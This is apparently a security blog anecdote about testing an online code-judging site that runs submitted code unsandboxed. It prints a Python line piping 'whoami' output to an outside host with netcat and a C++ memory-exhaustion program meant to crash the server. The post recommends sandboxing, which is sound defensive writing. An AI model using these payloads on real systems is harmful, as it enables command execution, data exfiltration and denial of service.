Security Storytime: not dealing with flaws

About a year ago someone asked me to test his site, let’s call it csproblems.com. The premise of the site is very simple: You register for the website, chose what problem to solve, write the code to solve the problem, upload the code to the website and have the solution tested by the website.

Immediately I started solving a few problems to get a feel of how the website works.

The first thing I’ve noticed is that the site has a limit of 5 attempts per problem. This turned out to be the website’s single defense against denial of service attacks.

After that, I wondered how the website runs the code. So I create a simple Python program and submit it as a solution. The code looks something like this:

import os

os.system('whoami | nc 1.2.3.4 1234')

This piece of code executes the command whoami and pipes the output of the command in the nc command, which is used to communicate the result of the command to me. After executing the code I get the following result: apache. After running a few more commands using this method it turned out that this website literally takes untrusted code and runs it. It’s not even using chroot.

At this point, a normal attacker would try to get a reverse shell and continue exploiting the system, either by adding the system to a botnet or trying to elevate privileges, but I decided I do not want to risk doing any harm to the system so I stopped here and reported the vulnerability.

I suggested to the owner of the website that he should use virtualization and gave him the link to this tried and tested solution called epicbox which is “A Python library to run untrusted code in secure, isolated Docker based sandboxes.” created by the stepik.org team, but the owner decided to ‘fix’ the vulnerability by:

  • Filtering for specific keywords like import os;
  • Forbiding right clicking;
  • Requesting more personal data at registration;
  • Adding a rule that all new accounts need to be verified by him;
  • Limiting the number of solves per problem even more.

The solutions just running on the apache user introduces another problem: Denial of service attacks. The solutions being run as apache means that there is no limit on how much memory or CPU the solution program can use. To demonstrate this I created this payload:

#include <iostream>

struct nod{
    long long int arr[999999];
    nod* next;
};

int main() {
    nod* start = new nod;
    nod* current = start;
    while (true){
        current->next = new nod;
        current = current->next;
    }
    return 0;
}

This program combined with just a few accounts will crash the server in no time. Needless to say, this problem would have been also been solved by epicbox, but “It’s too hard to implement”.

The site is still up, still accepting new users, probably with the same vulnerability. I can’t wait to see the day when the website is hacked by a real attacker and I can tell the owner: “I told you!”. I just hope no harm will happen to the users of the site.

This story has a few conclusions:

  • Security by obscurity is the worst kind of security;
  • Fix the vulnerability, not the exploit;
  • Don’t run untrusted code without serious sandboxing

One thought on “Security Storytime: not dealing with flaws

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.